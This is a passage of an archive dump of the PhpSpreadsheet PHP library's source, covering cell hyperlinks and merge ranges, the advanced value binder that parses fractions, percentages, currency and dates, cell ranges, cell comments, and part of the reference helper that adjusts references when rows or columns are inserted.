$this->getWorksheet()->getHyperlink($this->getCoordinate()); } /** * Set Hyperlink. * * @throws SpreadsheetException */ public function setHyperlink(?Hyperlink $hyperlink = null): self { if (!isset($this->parent)) { throw new SpreadsheetException('Cannot set hyperlink for cell that is not bound to a worksheet'); } $this->getWorksheet()->setHyperlink($this->getCoordinate(), $hyperlink); return $this->updateInCollection(); } /** * Get cell collection. */ public function getParent(): ?Cells { return $this->parent; } /** * Get parent worksheet. * * @throws SpreadsheetException */ public function getWorksheet(): Worksheet { $parent = $this->parent; if ($parent !== null) { $worksheet = $parent->getParent(); } else { $worksheet = null; } if ($worksheet === null) { throw new SpreadsheetException('Worksheet no longer exists'); } return $worksheet; } public function getWorksheetOrNull(): ?Worksheet { $parent = $this->parent; if ($parent !== null) { $worksheet = $parent->getParent(); } else { $worksheet = null; } return $worksheet; } /** * Is this cell in a merge range. */ public function isInMergeRange(): bool { return (bool) $this->getMergeRange(); } /** * Is this cell the master (top left cell) in a merge range (that holds the actual data value). */ public function isMergeRangeValueCell(): bool { if ($mergeRange = $this->getMergeRange()) { $mergeRange = Coordinate::splitRange($mergeRange); [$startCell] = $mergeRange[0]; return $this->getCoordinate() === $startCell; } return false; } /** * If this cell is in a merge range, then return the range. * * @return false|string */ public function getMergeRange() { foreach ($this->getWorksheet()->getMergeCells() as $mergeRange) { if ($this->isInRange($mergeRange)) { return $mergeRange; } } return false; } /** * Get cell style. */ public function getStyle(): Style { return $this->getWorksheet()->getStyle($this->getCoordinate()); } /** * Get cell style. */ public function getAppliedStyle(): Style { if ($this->getWorksheet()->conditionalStylesExists($this->getCoordinate()) === false) { return $this->getStyle(); } $range = $this->getWorksheet()->getConditionalRange($this->getCoordinate()); if ($range === null) { return $this->getStyle(); } $matcher = new CellStyleAssessor($this, $range); return $matcher->matchConditions($this->getWorksheet()->getConditionalStyles($this->getCoordinate())); } /** * Re-bind parent. */ public function rebindParent(Worksheet $parent): self { $this->parent = $parent->getCellCollection(); return $this->updateInCollection(); } /** * Is cell in a specific range? * * @param string $range Cell range (e.g. A1:A1) */ public function isInRange(string $range): bool { [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($range); // Translate properties $myColumn = Coordinate::columnIndexFromString($this->getColumn()); $myRow = $this->getRow(); // Verify if cell is in range return ($rangeStart[0] <= $myColumn) && ($rangeEnd[0] >= $myColumn) && ($rangeStart[1] <= $myRow) && ($rangeEnd[1] >= $myRow); } /** * Compare 2 cells. * * @param Cell $a Cell a * @param Cell $b Cell b * * @return int Result of comparison (always -1 or 1, never zero!) */ public static function compareCells(self $a, self $b): int { if ($a->getRow() < $b->getRow()) { return -1; } elseif ($a->getRow() > $b->getRow()) { return 1; } elseif (Coordinate::columnIndexFromString($a->getColumn()) < Coordinate::columnIndexFromString($b->getColumn())) { return -1; } return 1; } /** * Get value binder to use. */ public static function getValueBinder(): IValueBinder { if (self::$valueBinder === null) { self::$valueBinder = new DefaultValueBinder(); } return self::$valueBinder; } /** * Set value binder to use. */ public static function setValueBinder(IValueBinder $binder): void { self::$valueBinder = $binder; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $propertyName => $propertyValue) { if ((is_object($propertyValue)) && ($propertyName !== 'parent')) { $this->$propertyName = clone $propertyValue; } else { $this->$propertyName = $propertyValue; } } } /** * Get index to cellXf. */ public function getXfIndex(): int { return $this->xfIndex; } /** * Set index to cellXf. */ public function setXfIndex(int $indexValue): self { $this->xfIndex = $indexValue; return $this->updateInCollection(); } /** * Set the formula attributes. * * @return $this */ public function setFormulaAttributes(mixed $attributes): self { $this->formulaAttributes = $attributes; return $this; } /** * Get the formula attributes. */ public function getFormulaAttributes(): mixed { return $this->formulaAttributes; } /** * Convert to string. */ public function __toString(): string { return (string) $this->getValue(); } public function getIgnoredErrors(): IgnoredErrors { return $this->ignoredErrors; } public function isLocked(): bool { $protected = $this->parent?->getParent()?->getProtection()?->getSheet(); if ($protected !== true) { return false; } $locked = $this->getStyle()->getProtection()->getLocked(); return $locked !== Protection::PROTECTION_UNPROTECTED; } public function isHiddenOnFormulaBar(): bool { if ($this->getDataType() !== DataType::TYPE_FORMULA) { return false; } $protected = $this->parent?->getParent()?->getProtection()?->getSheet(); if ($protected !== true) { return false; } $hidden = $this->getStyle()->getProtection()->getHidden(); return $hidden !== Protection::PROTECTION_UNPROTECTED; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/AdvancedValueBinder.php000064400000020430151676714400022464 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Engine\FormattedNumber; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class AdvancedValueBinder extends DefaultValueBinder implements IValueBinder { /** * Bind value to a cell. * * @param Cell $cell Cell to bind value to * @param mixed $value Value to bind in cell */ public function bindValue(Cell $cell, mixed $value = null): bool { if ($value === null) { return parent::bindValue($cell, $value); } elseif (is_string($value)) { // sanitize UTF-8 strings $value = StringHelper::sanitizeUTF8($value); } // Find out data type $dataType = parent::dataTypeForValue($value); // Style logic - strings if ($dataType === DataType::TYPE_STRING && !$value instanceof RichText) { // Test for booleans using locale-setting if (StringHelper::strToUpper($value) === Calculation::getTRUE()) { $cell->setValueExplicit(true, DataType::TYPE_BOOL); return true; } elseif (StringHelper::strToUpper($value) === Calculation::getFALSE()) { $cell->setValueExplicit(false, DataType::TYPE_BOOL); return true; } // Check for fractions if (preg_match('~^([+-]?)\s*(\d+)\s*/\s*(\d+)$~', $value, $matches)) { return $this->setProperFraction($matches, $cell); } elseif (preg_match('~^([+-]?)(\d+)\s+(\d+)\s*/\s*(\d+)$~', $value, $matches)) { return $this->setImproperFraction($matches, $cell); } $decimalSeparatorNoPreg = StringHelper::getDecimalSeparator(); $decimalSeparator = preg_quote($decimalSeparatorNoPreg, '/'); $thousandsSeparator = preg_quote(StringHelper::getThousandsSeparator(), '/'); // Check for percentage if (preg_match('/^\-?\d*' . $decimalSeparator . '?\d*\s?\%$/', preg_replace('/(\d)' . $thousandsSeparator . '(\d)/u', '$1$2', $value))) { return $this->setPercentage(preg_replace('/(\d)' . $thousandsSeparator . '(\d)/u', '$1$2', $value), $cell); } // Check for currency if (preg_match(FormattedNumber::currencyMatcherRegexp(), preg_replace('/(\d)' . $thousandsSeparator . '(\d)/u', '$1$2', $value), $matches, PREG_UNMATCHED_AS_NULL)) { // Convert value to number $sign = ($matches['PrefixedSign'] ?? $matches['PrefixedSign2'] ?? $matches['PostfixedSign']) ?? null; $currencyCode = $matches['PrefixedCurrency'] ?? $matches['PostfixedCurrency']; /** @var string */ $temp = str_replace([$decimalSeparatorNoPreg, $currencyCode, ' ', '-'], ['.', '', '', ''], preg_replace('/(\d)' . $thousandsSeparator . '(\d)/u', '$1$2', $value)); $value = (float) ($sign . trim($temp)); return $this->setCurrency($value, $cell, $currencyCode ?? ''); } // Check for time without seconds e.g. '9:45', '09:45' if (preg_match('/^(\d|[0-1]\d|2[0-3]):[0-5]\d$/', $value)) { return $this->setTimeHoursMinutes($value, $cell); } // Check for time with seconds '9:45:59', '09:45:59' if (preg_match('/^(\d|[0-1]\d|2[0-3]):[0-5]\d:[0-5]\d$/', $value)) { return $this->setTimeHoursMinutesSeconds($value, $cell); } // Check for datetime, e.g. '2008-12-31', '2008-12-31 15:59', '2008-12-31 15:59:10' if (($d = Date::stringToExcel($value)) !== false) { // Convert value to number $cell->setValueExplicit($d, DataType::TYPE_NUMERIC); // Determine style. Either there is a time part or not. Look for ':' if (str_contains($value, ':')) { $formatCode = 'yyyy-mm-dd h:mm'; } else { $formatCode = 'yyyy-mm-dd'; } $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getNumberFormat()->setFormatCode($formatCode); return true; } // Check for newline character "\n" if (str_contains($value, "\n")) { $cell->setValueExplicit($value, DataType::TYPE_STRING); // Set style $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getAlignment()->setWrapText(true); return true; } } // Not bound yet? Use parent... return parent::bindValue($cell, $value); } protected function setImproperFraction(array $matches, Cell $cell): bool { // Convert value to number $value = $matches[2] + ($matches[3] / $matches[4]); if ($matches[1] === '-') { $value = 0 - $value; } $cell->setValueExplicit((float) $value, DataType::TYPE_NUMERIC); // Build the number format mask based on the size of the matched values $dividend = str_repeat('?', strlen($matches[3])); $divisor = str_repeat('?', strlen($matches[4])); $fractionMask = "# {$dividend}/{$divisor}"; // Set style $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getNumberFormat()->setFormatCode($fractionMask); return true; } protected function setProperFraction(array $matches, Cell $cell): bool { // Convert value to number $value = $matches[2] / $matches[3]; if ($matches[1] === '-') { $value = 0 - $value; } $cell->setValueExplicit((float) $value, DataType::TYPE_NUMERIC); // Build the number format mask based on the size of the matched values $dividend = str_repeat('?', strlen($matches[2])); $divisor = str_repeat('?', strlen($matches[3])); $fractionMask = "{$dividend}/{$divisor}"; // Set style $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getNumberFormat()->setFormatCode($fractionMask); return true; } protected function setPercentage(string $value, Cell $cell): bool { // Convert value to number $value = ((float) str_replace('%', '', $value)) / 100; $cell->setValueExplicit($value, DataType::TYPE_NUMERIC); // Set style $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_PERCENTAGE_00); return true; } protected function setCurrency(float $value, Cell $cell, string $currencyCode): bool { $cell->setValueExplicit($value, DataType::TYPE_NUMERIC); // Set style $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getNumberFormat()->setFormatCode( str_replace('$', '[$' . $currencyCode . ']', NumberFormat::FORMAT_CURRENCY_USD) ); return true; } protected function setTimeHoursMinutes(string $value, Cell $cell): bool { // Convert value to number [$hours, $minutes] = explode(':', $value); $hours = (int) $hours; $minutes = (int) $minutes; $days = ($hours / 24) + ($minutes / 1440); $cell->setValueExplicit($days, DataType::TYPE_NUMERIC); // Set style $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_DATE_TIME3); return true; } protected function setTimeHoursMinutesSeconds(string $value, Cell $cell): bool { // Convert value to number [$hours, $minutes, $seconds] = explode(':', $value); $hours = (int) $hours; $minutes = (int) $minutes; $seconds = (int) $seconds; $days = ($hours / 24) + ($minutes / 1440) + ($seconds / 86400); $cell->setValueExplicit($days, DataType::TYPE_NUMERIC); // Set style $cell->getWorksheet()->getStyle($cell->getCoordinate()) ->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_DATE_TIME4); return true; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/CellRange.php000064400000011413151676714400020473 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use Stringable; /** * @implements AddressRange<CellAddress> */ class CellRange implements AddressRange, Stringable { protected CellAddress $from; protected CellAddress $to; public function __construct(CellAddress $from, CellAddress $to) { $this->validateFromTo($from, $to); } private function validateFromTo(CellAddress $from, CellAddress $to): void { // Identify actual top-left and bottom-right values (in case we've been given top-right and bottom-left) $firstColumn = min($from->columnId(), $to->columnId()); $firstRow = min($from->rowId(), $to->rowId()); $lastColumn = max($from->columnId(), $to->columnId()); $lastRow = max($from->rowId(), $to->rowId()); $fromWorksheet = $from->worksheet(); $toWorksheet = $to->worksheet(); $this->validateWorksheets($fromWorksheet, $toWorksheet); $this->from = $this->cellAddressWrapper($firstColumn, $firstRow, $fromWorksheet); $this->to = $this->cellAddressWrapper($lastColumn, $lastRow, $toWorksheet); } private function validateWorksheets(?Worksheet $fromWorksheet, ?Worksheet $toWorksheet): void { if ($fromWorksheet !== null && $toWorksheet !== null) { // We could simply compare worksheets rather than worksheet titles; but at some point we may introduce // support for 3d ranges; and at that point we drop this check and let the validation fall through // to the check for same workbook; but unless we check on titles, this test will also detect if the // worksheets are in different spreadsheets, and the next check will never execute or throw its // own exception. if ($fromWorksheet->getTitle() !== $toWorksheet->getTitle()) { throw new Exception('3d Cell Ranges are not supported'); } elseif ($fromWorksheet->getParent() !== $toWorksheet->getParent()) { throw new Exception('Worksheets must be in the same spreadsheet'); } } } private function cellAddressWrapper(int $column, int $row, ?Worksheet $worksheet = null): CellAddress { $cellAddress = Coordinate::stringFromColumnIndex($column) . (string) $row; return new class ($cellAddress, $worksheet) extends CellAddress { public function nextRow(int $offset = 1): CellAddress { /** @var CellAddress $result */ $result = parent::nextRow($offset); $this->rowId = $result->rowId; $this->cellAddress = $result->cellAddress; return $this; } public function previousRow(int $offset = 1): CellAddress { /** @var CellAddress $result */ $result = parent::previousRow($offset); $this->rowId = $result->rowId; $this->cellAddress = $result->cellAddress; return $this; } public function nextColumn(int $offset = 1): CellAddress { /** @var CellAddress $result */ $result = parent::nextColumn($offset); $this->columnId = $result->columnId; $this->columnName = $result->columnName; $this->cellAddress = $result->cellAddress; return $this; } public function previousColumn(int $offset = 1): CellAddress { /** @var CellAddress $result */ $result = parent::previousColumn($offset); $this->columnId = $result->columnId; $this->columnName = $result->columnName; $this->cellAddress = $result->cellAddress; return $this; } }; } public function from(): CellAddress { // Re-order from/to in case the cell addresses have been modified $this->validateFromTo($this->from, $this->to); return $this->from; } public function to(): CellAddress { // Re-order from/to in case the cell addresses have been modified $this->validateFromTo($this->from, $this->to); return $this->to; } public function __toString(): string { // Re-order from/to in case the cell addresses have been modified $this->validateFromTo($this->from, $this->to); if ($this->from->cellAddress() === $this->to->cellAddress()) { return "{$this->from->fullCellAddress()}"; } $fromAddress = $this->from->fullCellAddress(); $toAddress = $this->to->cellAddress(); return "{$fromAddress}:{$toAddress}"; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Cell/IValueBinder.php000064400000000437151676714400021154 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Cell; interface IValueBinder { /** * Bind value to a cell. * * @param Cell $cell Cell to bind value to * @param mixed $value Value to bind in cell */ public function bindValue(Cell $cell, mixed $value): bool; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Comment.php000064400000016311151676714400017364 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Helper\Size; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared\Drawing as SharedDrawing; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Worksheet\Drawing; use Stringable; class Comment implements IComparable, Stringable { /** * Author. */ private string $author; /** * Rich text comment. */ private RichText $text; /** * Comment width (CSS style, i.e. XXpx or YYpt). */ private string $width = '96pt'; /** * Left margin (CSS style, i.e. XXpx or YYpt). */ private string $marginLeft = '59.25pt'; /** * Top margin (CSS style, i.e. XXpx or YYpt). */ private string $marginTop = '1.5pt'; /** * Visible. */ private bool $visible = false; /** * Comment height (CSS style, i.e. XXpx or YYpt). */ private string $height = '55.5pt'; /** * Comment fill color. */ private Color $fillColor; /** * Alignment. */ private string $alignment; /** * Background image in comment. */ private Drawing $backgroundImage; /** * Create a new Comment. */ public function __construct() { // Initialise variables $this->author = 'Author'; $this->text = new RichText(); $this->fillColor = new Color('FFFFFFE1'); $this->alignment = Alignment::HORIZONTAL_GENERAL; $this->backgroundImage = new Drawing(); } /** * Get Author. */ public function getAuthor(): string { return $this->author; } /** * Set Author. */ public function setAuthor(string $author): self { $this->author = $author; return $this; } /** * Get Rich text comment. */ public function getText(): RichText { return $this->text; } /** * Set Rich text comment. */ public function setText(RichText $text): self { $this->text = $text; return $this; } /** * Get comment width (CSS style, i.e. XXpx or YYpt). */ public function getWidth(): string { return $this->width; } /** * Set comment width (CSS style, i.e. XXpx or YYpt). Default unit is pt. */ public function setWidth(string $width): self { $width = new Size($width); if ($width->valid()) { $this->width = (string) $width; } return $this; } /** * Get comment height (CSS style, i.e. XXpx or YYpt). */ public function getHeight(): string { return $this->height; } /** * Set comment height (CSS style, i.e. XXpx or YYpt). Default unit is pt. */ public function setHeight(string $height): self { $height = new Size($height); if ($height->valid()) { $this->height = (string) $height; } return $this; } /** * Get left margin (CSS style, i.e. XXpx or YYpt). */ public function getMarginLeft(): string { return $this->marginLeft; } /** * Set left margin (CSS style, i.e. XXpx or YYpt). Default unit is pt. */ public function setMarginLeft(string $margin): self { $margin = new Size($margin); if ($margin->valid()) { $this->marginLeft = (string) $margin; } return $this; } /** * Get top margin (CSS style, i.e. XXpx or YYpt). */ public function getMarginTop(): string { return $this->marginTop; } /** * Set top margin (CSS style, i.e. XXpx or YYpt). Default unit is pt. */ public function setMarginTop(string $margin): self { $margin = new Size($margin); if ($margin->valid()) { $this->marginTop = (string) $margin; } return $this; } /** * Is the comment visible by default? */ public function getVisible(): bool { return $this->visible; } /** * Set comment default visibility. */ public function setVisible(bool $visibility): self { $this->visible = $visibility; return $this; } /** * Set fill color. */ public function setFillColor(Color $color): self { $this->fillColor = $color; return $this; } /** * Get fill color. */ public function getFillColor(): Color { return $this->fillColor; } /** * Set Alignment. */ public function setAlignment(string $alignment): self { $this->alignment = $alignment; return $this; } /** * Get Alignment. */ public function getAlignment(): string { return $this->alignment; } /** * Get hash code. */ public function getHashCode(): string { return md5( $this->author . $this->text->getHashCode() . $this->width . $this->height . $this->marginLeft . $this->marginTop . ($this->visible ? 1 : 0) . $this->fillColor->getHashCode() . $this->alignment . ($this->hasBackgroundImage() ? $this->backgroundImage->getHashCode() : '') . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } /** * Convert to string. */ public function __toString(): string { return $this->text->getPlainText(); } /** * Check is background image exists. */ public function hasBackgroundImage(): bool { $path = $this->backgroundImage->getPath(); if (empty($path)) { return false; } return getimagesize($path) !== false; } /** * Returns background image. */ public function getBackgroundImage(): Drawing { return $this->backgroundImage; } /** * Sets background image. */ public function setBackgroundImage(Drawing $objDrawing): self { if (!array_key_exists($objDrawing->getType(), Drawing::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } $this->backgroundImage = $objDrawing; return $this; } /** * Sets size of comment as size of background image. */ public function setSizeAsBackgroundImage(): self { if ($this->hasBackgroundImage()) { $this->setWidth(SharedDrawing::pixelsToPoints($this->backgroundImage->getWidth()) . 'pt'); $this->setHeight(SharedDrawing::pixelsToPoints($this->backgroundImage->getHeight()) . 'pt'); } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/ReferenceHelper.php000064400000161205151676714400021023 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter; use PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class ReferenceHelper { /** Constants */ /** Regular Expressions */ private const SHEETNAME_PART = '((\w*|\'[^!]*\')!)'; private const SHEETNAME_PART_WITH_SLASHES = '/' . self::SHEETNAME_PART . '/'; const REFHELPER_REGEXP_CELLREF = self::SHEETNAME_PART . '?(?<![:a-z1-9_\.\$])(\$?[a-z]{1,3}\$?\d+)(?=[^:!\d\'])'; const REFHELPER_REGEXP_CELLRANGE = self::SHEETNAME_PART . '?(\$?[a-z]{1,3}\$?\d+):(\$?[a-z]{1,3}\$?\d+)'; const REFHELPER_REGEXP_ROWRANGE = self::SHEETNAME_PART . '?(\$?\d+):(\$?\d+)'; const REFHELPER_REGEXP_COLRANGE = self::SHEETNAME_PART . '?(\$?[a-z]{1,3}):(\$?[a-z]{1,3})'; /** * Instance of this class. * * @var ?ReferenceHelper */ private static ?ReferenceHelper $instance = null; private ?CellReferenceHelper $cellReferenceHelper = null; /** * Get an instance of this class. */ public static function getInstance(): self { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } /** * Create a new ReferenceHelper. */ protected function __construct() { } /** * Compare two column addresses * Intended for use as a Callback function for sorting column addresses by column. * * @param string $a First column to test (e.g. 'AA') * @param string $b Second column to test (e.g. 'Z') */ public static function columnSort(string $a, string $b): int { return strcasecmp(strlen($a) . $a, strlen($b) . $b); } /** * Compare two column addresses * Intended for use as a Callback function for reverse sorting column addresses by column. * * @param string $a First column to test (e.g. 'AA') * @param string $b Second column to test (e.g. 'Z') */ public static function columnReverseSort(string $a, string $b): int { return -strcasecmp(strlen($a) . $a, strlen($b) . $b); } /** * Compare two cell addresses * Intended for use as a Callback function for sorting cell addresses by column and row. * * @param string $a First cell to test (e.g. 'AA1') * @param string $b Second cell to test (e.g. 'Z1') */ public static function cellSort(string $a, string $b): int { sscanf($a, '%[A-Z]%d', $ac, $ar); /** @var int $ar */ /** @var string $ac */ sscanf($b, '%[A-Z]%d', $bc, $br); /** @var int $br */ /** @var string $bc */ if ($ar === $br) { return strcasecmp(strlen($ac) . $ac, strlen($bc) . $bc); } return ($ar < $br) ? -1 : 1; } /** * Compare two cell addresses * Intended for use as a Callback function for sorting cell addresses by column and row. * * @param string $a First cell to test (e.g. 'AA1') * @param string $b Second cell to test (e.g. 'Z1') */ public static function cellReverseSort(string $a, string $b): int { sscanf($a, '%[A-Z]%d', $ac, $ar); /** @var int $ar */ /** @var string $ac */ sscanf($b, '%[A-Z]%d', $bc, $br); /** @var int $br */ /** @var string $bc */ if ($ar === $br) { return -strcasecmp(strlen($ac) . $ac, strlen($bc) . $bc); } return ($ar < $br) ? 1 : -1; } /** * Update page breaks when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing * @param int $numberOfColumns Number of columns to insert/delete (negative values indicate deletion) * @param int $numberOfRows Number of rows to insert/delete (negative values indicate deletion) */ protected function adjustPageBreaks(Worksheet $worksheet, int $numberOfColumns, int $numberOfRows): void { $aBreaks = $worksheet->getBreaks(); ($numberOfColumns > 0 || $numberOfRows > 0) ? uksort($aBreaks, [self::class, 'cellReverseSort']) : uksort($aBreaks, [self::class, 'cellSort']); foreach ($aBreaks as $cellAddress => $value) { /** @var CellReferenceHelper */ $cellReferenceHelper = $this->cellReferenceHelper; if ($cellReferenceHelper->cellAddressInDeleteRange($cellAddress) === true) { // If we're deleting, then clear any defined breaks that are within the range // of rows/columns that we're deleting $worksheet->setBreak($cellAddress, Worksheet::BREAK_NONE); } else { // Otherwise update any affected breaks by inserting a new break at the appropriate point // and removing the old affected break $newReference = $this->updateCellReference($cellAddress); if ($cellAddress !== $newReference) { $worksheet->setBreak($newReference, $value) ->setBreak($cellAddress, Worksheet::BREAK_NONE); } } } } /** * Update cell comments when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing */ protected function adjustComments(Worksheet $worksheet): void { $aComments = $worksheet->getComments(); $aNewComments = []; // the new array of all comments foreach ($aComments as $cellAddress => &$value) { // Any comments inside a deleted range will be ignored /** @var CellReferenceHelper */ $cellReferenceHelper = $this->cellReferenceHelper; if ($cellReferenceHelper->cellAddressInDeleteRange($cellAddress) === false) { // Otherwise build a new array of comments indexed by the adjusted cell reference $newReference = $this->updateCellReference($cellAddress); $aNewComments[$newReference] = $value; } } // Replace the comments array with the new set of comments $worksheet->setComments($aNewComments); } /** * Update hyperlinks when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing * @param int $numberOfColumns Number of columns to insert/delete (negative values indicate deletion) * @param int $numberOfRows Number of rows to insert/delete (negative values indicate deletion) */ protected function adjustHyperlinks(Worksheet $worksheet, int $numberOfColumns, int $numberOfRows): void { $aHyperlinkCollection = $worksheet->getHyperlinkCollection(); ($numberOfColumns > 0 || $numberOfRows > 0) ? uksort($aHyperlinkCollection, [self::class, 'cellReverseSort']) : uksort($aHyperlinkCollection, [self::class, 'cellSort']); foreach ($aHyperlinkCollection as $cellAddress => $value) { $newReference = $this->updateCellReference($cellAddress); /** @var CellReferenceHelper */ $cellReferenceHelper = $this->cellReferenceHelper; if ($cellReferenceHelper->cellAddressInDeleteRange($cellAddress) === true) { $worksheet->setHyperlink($cellAddress, null); } elseif ($cellAddress !== $newReference) { $worksheet->setHyperlink($newReference, $value); $worksheet->setHyperlink($cellAddress, null); } } } /** * Update conditional formatting styles when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing * @param int $numberOfColumns Number of columns to insert/delete (negative values indicate deletion) * @param int $numberOfRows Number of rows to insert/delete (negative values indicate deletion) */ protected function adjustConditionalFormatting(Worksheet $worksheet, int $numberOfColumns, int $numberOfRows): void { $aStyles = $worksheet->getConditionalStylesCollection(); ($numberOfColumns > 0 || $numberOfRows > 0) ? uksort($aStyles, [self::class, 'cellReverseSort']) : uksort($aStyles, [self::class, 'cellSort']); foreach ($aStyles as $cellAddress => $cfRules) { $worksheet->removeConditionalStyles($cellAddress); $newReference = $this->updateCellReference($cellAddress); foreach ($cfRules as &$cfRule) { /** @var Conditional $cfRule */ $conditions = $cfRule->getConditions(); foreach ($conditions as &$condition) { if (is_string($condition)) { /** @var CellReferenceHelper */ $cellReferenceHelper = $this->cellReferenceHelper; $condition = $this->updateFormulaReferences( $condition, $cellReferenceHelper->beforeCellAddress(), $numberOfColumns, $numberOfRows, $worksheet->getTitle(), true ); } } $cfRule->setConditions($conditions); } $worksheet->setConditionalStyles($newReference, $cfRules); } } /** * Update data validations when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing * @param int $numberOfColumns Number of columns to insert/delete (negative values indicate deletion) * @param int $numberOfRows Number of rows to insert/delete (negative values indicate deletion) */ protected function adjustDataValidations(Worksheet $worksheet, int $numberOfColumns, int $numberOfRows): void { $aDataValidationCollection = $worksheet->getDataValidationCollection(); ($numberOfColumns > 0 || $numberOfRows > 0) ? uksort($aDataValidationCollection, [self::class, 'cellReverseSort']) : uksort($aDataValidationCollection, [self::class, 'cellSort']); foreach ($aDataValidationCollection as $cellAddress => $dataValidation) { $newReference = $this->updateCellReference($cellAddress); if ($cellAddress !== $newReference) { $dataValidation->setSqref($newReference); $worksheet->setDataValidation($newReference, $dataValidation); $worksheet->setDataValidation($cellAddress, null); } } } /** * Update merged cells when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing */ protected function adjustMergeCells(Worksheet $worksheet): void { $aMergeCells = $worksheet->getMergeCells(); $aNewMergeCells = []; // the new array of all merge cells foreach ($aMergeCells as $cellAddress => &$value) { $newReference = $this->updateCellReference($cellAddress); $aNewMergeCells[$newReference] = $newReference; } $worksheet->setMergeCells($aNewMergeCells); // replace the merge cells array } /** * Update protected cells when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing * @param int $numberOfColumns Number of columns to insert/delete (negative values indicate deletion) * @param int $numberOfRows Number of rows to insert/delete (negative values indicate deletion) */ protected function adjustProtectedCells(Worksheet $worksheet, int $numberOfColumns, int $numberOfRows): void { $aProtectedCells = $worksheet->getProtectedCells(); ($numberOfColumns > 0 || $numberOfRows > 0) ? uksort($aProtectedCells, [self::class, 'cellReverseSort']) : uksort($aProtectedCells, [self::class, 'cellSort']); foreach ($aProtectedCells as $cellAddress => $value) { $newReference = $this->updateCellReference($cellAddress); if ($cellAddress !== $newReference) { $worksheet->protectCells($newReference, $value, true); $worksheet->unprotectCells($cellAddress); } } } /** * Update column dimensions when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing */ protected function adjustColumnDimensions(Worksheet $worksheet): void { $aColumnDimensions = array_reverse($worksheet->getColumnDimensions(), true); if (!empty($aColumnDimensions)) { foreach ($aColumnDimensions as $objColumnDimension) { $newReference = $this->updateCellReference($objColumnDimension->getColumnIndex() . '1'); [$newReference] = Coordinate::coordinateFromString($newReference); if ($objColumnDimension->getColumnIndex() !== $newReference) { $objColumnDimension->setColumnIndex($newReference); } } $worksheet->refreshColumnDimensions(); } } /** * Update row dimensions when inserting/deleting rows/columns. * * @param Worksheet $worksheet The worksheet that we're editing * @param int $beforeRow Number of the row we're inserting/deleting before * @param int $numberOfRows Number of rows to insert/delete (negative values indicate deletion) */ protected function adjustRowDimensions(Worksheet $worksheet, int $beforeRow, int $numberOfRows): void { $aRowDimensions = array_reverse($worksheet->getRowDimensions(), true); if (!empty($aRowDimensions)) { foreach ($aRowDimensions as $objRowDimension) { $newReference = $this->updateCellReference('A' . $objRowDimension->getRowIndex()); [, $newReference] = Coordinate::coordinateFromString($newReference); $newRoweference = (int) $newReference; if ($objRowDimension->getRowIndex() !== $newRoweference) { $objRowDimension->setRowIndex($newRoweference); } } $worksheet->refreshRowDimensions(); $copyDimension = $worksheet->getRowDimension($beforeRow - 1); for ($i = $beforeRow; $i <= $beforeRow - 1 + $numberOfRows; ++$i) { $newDimension = $worksheet->getRowDimension($i); $newDimension->setRowHeight($copyDimension->getRowHeight()); $newDimension->setVisible($copyDimension->getVisible()); $newDimension->setOutlineLevel($copyDimension->getOutlineLevel()); $newDimension->setCollapsed($copyDimension->getCollapsed()); } } } /** * Insert a new column or row, updating all possible related data. * * @param string $beforeCellAddress Insert before this cell address 